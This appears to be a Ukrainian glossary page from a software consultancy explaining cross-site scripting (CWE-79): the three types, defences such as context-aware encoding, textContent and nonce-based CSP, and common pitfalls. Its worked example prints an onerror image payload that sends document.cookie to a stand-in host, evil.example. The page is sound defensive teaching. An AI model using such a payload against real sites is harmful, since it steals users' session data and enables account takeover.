Engineer

Міжсайтовий скриптинг

атака, що змушує сторінку виконати скрипт зловмисника

Що це таке

Міжсайтовий скриптинг, англійською cross-site scripting, а найчастіше просто XSS, — це атака, за якої сайт бере текст, що надійшов від когось іншого, вставляє його в сторінку, яку віддає іншим людям, і дорогою не нейтралізує, тож браузер сприймає частину цього тексту як код і виконує її. Common Weakness Enumeration веде цю ваду як CWE-79, під назвою, яка каже приблизно те саме: вхідні дані, які не нейтралізували під час генерування вебсторінки. Зловмисник ніколи не змінює код сайту. Він лише постачає дані, а скрипт до користувачів доставляє сам сайт, у своїх же сторінках.

Шляхів усередину три, і їх описують і запис CWE, і OWASP. У відбитому XSS, який ще називають непостійним, або Type 1, корисне навантаження (payload) їде в самому запиті, зазвичай як параметр URL, а сервер копіює його у відповідь: сторінку результатів пошуку, повідомлення про помилку, будь-що, що повторює надіслане. Жертву треба заманити на спеціально підготоване посилання, тому запис CWE і ставить такі посилання в основу багатьох фішингових атак. У збереженому XSS, або постійному, Type 2, навантаження спершу зберігають — у коментарі, дописі на форумі, полі профілю чи повідомленні журналу, — і воно виконується в кожного, хто згодом відкриє цей запис. У XSS на основі DOM, Type 0, сервер може взагалі не побачити навантаження. Власний JavaScript сторінки читає щось, що контролює зловмисник, наприклад частину URL після `#`, і записує це в документ так, що браузер розбирає його як HTML-розмітку.

Назва погано пасує до сучасної проблеми, і OWASP сам це визнає: його шпаргалка із запобігання XSS (cheat sheet) називає цей термін невдалим. Він походить від ранніх атак, що крали дані між сайтами, а згодом розширився й охопив упровадження майже будь-якого вмісту в сторінку, байдуже, чи бере

в цьому участь інший сайт. Навіть абревіатура має свою історію. Запис CWE згадує, що очевидне скорочення з трьох літер було поширене в перші роки, аж доки збіг із Cascading Style Sheets не витіснив його з ужитку.

OWASP відносить XSS до різновидів ін'єкцій, тобто до тієї ж родини, що й SQL-ін'єкції. В обох випадках дані перетинають межу й потрапляють туди, де їх читають як інструкції: там — SQL, який виконує база даних, тут — HTML-розмітка, значення атрибутів і JavaScript сторінки. І ліки в обох випадках однакові за формою. Тримайте дані даними в ту мить, коли їх кудись вставляють, і інтерпретатору не буде чого виконувати від імені зловмисника.

Застосуйте поняття до рішення

Застосуйте «Що таке міжсайтовий скриптинг?» до конкретного рішення. Ми можемо пов'язати поняття із системою, яку ви створюєте або купуєте. Облікові записи, паролі й права налаштовані так, щоб доступ відповідав роботі, а звільнені втрачали його того ж дня.

Переглянути наші послуги Зв'язатися з нами →

Перевірте припущення за терміном

Використайте пояснення та пов'язані роботи, щоб сформулювати запитання для проєкту. Ми можемо перевірити припущення разом до вибору інструмента. Написала 1 000 правил RBAC для Linux-серверів — 1,000 правил доступу написано, щоб усунути вразливість

Написала 1 000 правил RBAC для Linux-серверів Зв'язатися з нами →

Чому це важливо

Скрипт виконується як власний скрипт сайту. Браузер не веде обліку того, звідки взявся текст: він бачить сторінку, яку сайт віддав зі свого походження, і дає скрипту все, що цьому походженню дозволено. OWASP формулює проблему так: браузер не має жодного способу дізнатися, що скрипту не слід довіряти. Запис CWE робить із цього висновок: атака зводить нанівець задум політики єдиного походження (same-origin policy), яка має не пускати скрипт одного сайту в інший.

Скрипт може все, що міг би користувач. CWE-79 називає найпоширенішою атакою крадіжку приватної інформації з cookies, наприклад даних сесії, і попереджає, що це особливо небезпечно, коли жертва має на сайті адміністраторські привілеї. Перелік OWASP довший: видавати себе за власника облікового запису, стежити за діями користувача, підвантажувати вміст звідкись іще, красти чутливі дані й переписувати саму сторінку. Збережений XSS у повідомленні журналу — класичний шлях саме до таких жертв. Запис CWE наводить його як приклад, бо журнали зазвичай читають адміністратори, а переглядач журналів може не вміти як слід поводитися з ворожими вхідними даними.

Це стосується кожної вебкоманди, а не лише тих, хто досі пише HTML-розмітку вручну. Сучасні фреймворки зробили XSS рідшим: OWASP пов'язує зменшення кількості помилок з їхніми шаблонізаторами та автоматичним екрануванням. Проте кожен фреймворк має запасні виходи (escape hatches) для випадків, коли розробник хоче вставити розмітку напряму, і саме їх OWASP називає місцями, де проблеми досі трапляються. Та сама шпаргалка прямо каже, що жодна окрема техніка XSS не розв'язує і що потрібна комбінація. Це й рамка для решти статті: спершу кодуйте під правильний контекст, а інші шари ставте позаду.

Як це виглядає на практиці

Візьмімо інтернет-крамницю, сторінка пошуку якої повторює пошукове слово, тож `https://shop.example/search?q=lamp` показує `Results: lamp`. Сервер складає цей рядок, вклеюючи параметр у шаблон сторінки. Зловмисник надсилає жертві посилання, у якому `q` має таке значення:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Сервер вклеює його, як і раніше, і браузер жертви отримує:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

Зображення не завантажується, бо `x` — не зображення, і браузер виконує обробник `onerror`, який надсилає cookies користувача на сервер зловмисника. Код стоїть в атрибуті, а не в елементі `<script>`, і це типово: власний приклад навантаження в OWASP так само використовує атрибут `onerror` зображення.

Виправлення полягає в тому, щоб кодувати значення під те місце, куди воно потрапляє. У звичайному тексті HTML-документа це означає перетворити п'ять символів `&`, `<`, `>`, `"` і `'` на `&`, `<`, `>`, `"` і `'`. Тоді те саме навантаження приходить як `<img src=x onerror="...">`, і браузер показує це як текст і ніколи не розбирає як тег. Фреймворки з автоматичним екрануванням роблять це за вас; діра відкривається там, де рядок натомість складають вручну.

У варіанті на основі DOM сервер віддає лише статичну сторінку, а власний скрипт сторінки читає `q` і записує його в заголовок:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // розбирає q як HTML
heading.textContent = `Results for ${q}`; // показує q як текст
```

Рядок з `innerHTML` передає розмітку зловмисника HTML-парсеру, і обробник `onerror` спрацьовує так само, як і раніше. Стандарт HTML зазначає, що елемент `<script>`, вставлений у такий спосіб, узагалі не виконується, тому навантаження й спираються натомість на атрибути обробників подій. Рядок з `textContent` створює текстовий вузол і нічого не розбирає, тож те саме значення з'являється як нешкідливі символи. Шпаргалка OWASP про XSS на основі DOM називає вибір такого безпечного приймача (sink) найкращим виправленням, а загальна шпаргалка радить розробникам переписувати код, відходячи від `innerHTML` до `textContent`.

За кодуванням стоїть ще один шар. Content Security Policy зі значенням nonce наказує браузеру виконувати лише ті скрипти, які його мають. Чинна чернетка W3C радить серверу генерувати новий nonce щоразу, коли він надсилає політику, і брати щонайменше 128 біт із криптографічно стійкого генератора випадкових чисел. Упроваджений `<script>` не має nonce, і вбудований обробник на кшталт `onerror` вище теж буде відхилено, бо дозволити обробники можуть лише `'unsafe-inline'` або `'unsafe-hashes'`, а nonce вимикає `'unsafe-inline'`. Чернетка називає `script-src 'strict-dynamic' 'nonce-{RANDOM}'` разом із `base-uri 'self'` дієвим захистом від XSS, який можна запровадити на практиці. У браузерах на основі Chromium `require-trusted-types-for 'script'` іде далі й змушує приймачі на кшталт `innerHTML` відкидати звичайні рядки. Проте OWASP застерігає, що політику легко налаштувати неправильно, і вважає її додатковим шаром, а не основним захистом.

На платформі з професійними та організаційними даними проміжний шар у Next.js встановлює таку політику з nonce для кожного запиту та strict-dynamic, а також HSTS і SameSite cookies, тож браузер жорстко обмежено в тому, що він виконає й надішле. Та сама сторінка описує багатошаровий захист, щоб не покладатися на один засіб контролю. Серверну авторизацію спроєктовано незалежною від клієнтських перевірок, тож рішення про доступ ухвалює не інтерфейс.

Де виникають проблеми

Кодування не під той контекст. Кодування в HTML-сутності годиться для тексту між тегами, але деінде його замало. OWASP дає кожному контексту власне правило: значення всередині параметра URL кодують у відсотковій формі `%HH`, а значення всередині атрибута кодують для атрибутів і беруть у лапки. До того ж кодування захищає лише місце, куди рядок вставлено, а не те, що з ним станеться далі: значення, яке потім передають в `eval()`, небезпечне, хай що з ним робили раніше. Знайте, куди потрапляє кожне значення, і користуйтеся кодувальником фреймворку для цього місця.

Атрибути без лапок. Пробіл завершує значення атрибута без лапок, тож зловмисник, який може додати пробіл, може додати й власний атрибут, і для цього досить `onmouseover=`. Завжди беріть значення атрибутів у лапки й користуйтеся кодувальником атрибутів із фреймворку.

Дані користувача в атрибуті обробника подій. Кодування атрибутів не захищає JavaScript в `onclick` та споріднених атрибутах, бо HTML-парсер декодує посилання на символи ще до того, як скрипт буде інтерпретовано. Під'єднуйте обробники через `addEventListener()` і передавайте значення користувача як дані.

Запасний вихід фреймворку, у який подають сирі дані. `dangerouslySetInnerHTML` у React, функції `bypassSecurityTrustAs*` в Angular і `unsafeHTML` у Lit вимикають автоматичне екранування. Коли користувачам справді треба писати розмітку, пропускайте її через санітайзер на кшталт DOMPurify, який радить OWASP, не змінюйте результат після цього й вчасно оновлюйте бібліотеку, бо нові обходи знаходять постійно.

URL `javascript:` у посиланні. Поле профілю для адреси сайту, що містить `javascript:` і далі код, перетворює невинне на вигляд посилання на скрипт. React 19 блокує такі URL у `src` та `href`, але OWASP наголошує, що це не замінює власної валідації URL у застосунку. Дозвольте лише ті префікси, які полю справді потрібні, як-от `https:`, а все інше відкидайте.

Валідація вхідних даних або WAF як виправлення. Валідація допомагає, але не може прибрати з вільного тексту всі небезпечні символи. Приклад у записі CWE — сердечко `<3`, яке валідація в застосунку для чату, найімовірніше, пропустила б і яке все одно містить `<`. Брандмауер вебзастосунків (web application firewall) шукає відомі рядки атак, не помічає

нових обходів і ніколи не бачить XSS на основі DOM, що відбувається повністю в браузері; OWASP не радить покладатися на нього для запобігання XSS. Кодуйте вихідні дані, а обидва засоби вважайте додатковими шарами.

HttpOnly як панацея. Позначка HttpOnly на сесійній cookie не дає `document.cookie` її прочитати, і це послаблює дію найпоширенішого навантаження. Але скрипт однаково виконується й може діяти від імені користувача зсередини сторінки. Запис CWE називає HttpOnly неповним рішенням, а OWASP каже, що атрибути cookies обмежують шкоду, але не запобігають виконанню. Ставте цю позначку, але закрийте й саму діру.

JSON, відданий як HTML. Ендпойнт, що повертає дані користувача з `Content-Type: text/html`, запрошує браузер розібрати їх як сторінку. Правило OWASP — перевіряти, що JSON іде як `application/json`. Задавайте цей заголовок явно в кожній такій відповіді.

Політика як основний захист. Nonce, повторно використаний у різних відповідях, відсутній `base-uri` або `'unsafe-inline'`, доданий, щоб запрацював один віджет, — кожне з цього може тихо звести політику нанівець. Спершу кодуйте, а політика нехай ловить те, що прослизне.

Що почитати далі

- CWE-79 in the Common Weakness Enumeration — сам запис про ваду: три типи, наслідки й заходи захисту разом з їхніми обмеженнями.
- OWASP Cross Site Scripting Prevention Cheat Sheet — кодування для кожного контексту, запасні виходи фреймворків, санітизація і шари, що стоять за ними.
- OWASP DOM based XSS Prevention Cheat Sheet — безпечні й небезпечні приймачі в браузері з розібраними прикладами.
- OWASP: Cross Site Scripting (XSS) — атака з погляду зловмисника, з прикладами навантажень.
- HTML Standard: Scripting — як і коли виконується елемент `script`, зокрема у вставленій розмітці.
- Content Security Policy Level 3 — nonce, `'strict-dynamic'` і сувора політика, яку радить чернетка.

Словник

Обирайте за фактичними умовами

Опишіть шлях розгортання, експлуатаційні ризики та чергову команду. Ми можемо визначити зміну з перевірками, шляхом відновлення та чіткою відповідальністю.

Дивитися, скільки це коштує Зв'язатися з нами →

Зробіть термінологію практичною

Запитайте, як «Що таке міжсайтовий скриптинг?» стосується вашої організації. Конкретного прикладу з поточної системи достатньо для початку розмови.

Переглянути наші послуги

welcome@engineer.company +45 50 10 61 84 Копенгаген, Данія

Візьміть цю сторінку із собою

Візитівка

Дбайливо зроблено з любов'ю — D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Авторське право © 2025 – дотепер · Engineer ApS · Усі права захищено.

Надруковано з https://engineer.company/uk/glossary/cross-site-scripting/